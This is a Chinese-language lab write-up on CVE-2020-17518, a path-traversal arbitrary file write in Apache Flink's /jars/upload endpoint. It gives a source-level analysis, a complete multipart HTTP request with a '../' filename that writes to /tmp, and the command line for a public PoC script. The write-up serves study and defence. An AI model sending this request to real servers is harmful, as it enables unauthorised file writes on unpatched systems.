漏洞介绍

Apache Flink 是一个开源的分布式流处理和批处理大数据计算引擎。

Apache Flink 1.5.1 版本引入了一个 REST handler,攻击者可以通过恶意修改 HTTP HEADER,实现将上传的文件写入到本地文件系统的任意位置。该问题在 Apache Flink 1.11.3 版本中得到修复。

漏洞范围

1.5.1 <= Apache Flink <= 1.11.2

漏洞靶场

使用vulhub的靶场:

使用环境为flink 1.11.2

vulhub-master/flink/CVE-2020-17518/

启动靶场环境:

1
docker-compose up -d

环境启动后,访问 http://your-ip:8081 即可查看到 Apache Flink 的管理页面。

漏洞原理

查看flink的commit,提出是上传功能的校验问题,并指出这里会提供两个测试案例

img

测试代码再次给出提示,修改文件名添加 ../

img

我们找到系统的上传功能

img

传个测试文件,是 /jars/upload 接口

img

官方文档对该接口的使用说明

img

在处理上传路径的地方打断点

img

flink-1.11.2\flink-runtime\src\main\java\org\apache\flink\runtime\rest\FileUploadHandler.java#L141

获取filename

img

C:\Users\LENOVO.m2\repository\org\apache\flink\flink-shaded-netty\4.1.39.Final-11.0\flink-shaded-netty-4.1.39.Final-11.0.jar!\org\apache\flink\shaded\netty4\io\netty\handler\codec\http\multipart\DiskFileUpload.class#L38(需用Maven下载包)

resolve()解析方法接收filename,与系统路径拼接

img

dest存储拼接后上传路径,传给 fileUpload.renameTo()方法

img

flink-1.11.2\flink-runtime\src\main\java\org\apache\flink\runtime\rest\FileUploadHandler.java#L142

上传文件,并重命名保存至另一个路径以做缓存

img

jdk1.8.0_261\src.zip!\java\io\File.java#L1385-L1398,L1397

缓存文件存在时间很短,只有30s

img

jdk1.8.0_261\src.zip!\java\io\UnixFileSystem.java#L274

此时系统已按目标路径写入文件

img

漏洞复现

发送如下数据包,即可上传一个文件到目标服务器的 /tmp/success 位置:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /jars/upload HTTP/1.1
Host: localhost:8081
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoZ8meKnrrso89R6Y
Content-Length: 187

------WebKitFormBoundaryoZ8meKnrrso89R6Y
Content-Disposition: form-data; name="jarfile"; filename="../../../../../../tmp/success"

success
------WebKitFormBoundaryoZ8meKnrrso89R6Y--

image-20250509201052776

上传成功后,即可在目标服务器上查看到 /tmp/success 文件:

image-20250509201138847

poc使用

QmF0c3UK/CVE-2020-17518 (github.com)

1
python CVE-2020-17518.py -u http://IP:port

image-20250509202433715

成功在/tmp下创建文件

image-20250509202316784

参考

Apache Flink CVE-2020-17518、17519 漏洞分析 - FreeBuf网络安全行业门户

https://github.com/vulhub/vulhub/blob/master/flink/CVE-2020-17518/README.zh-cn.md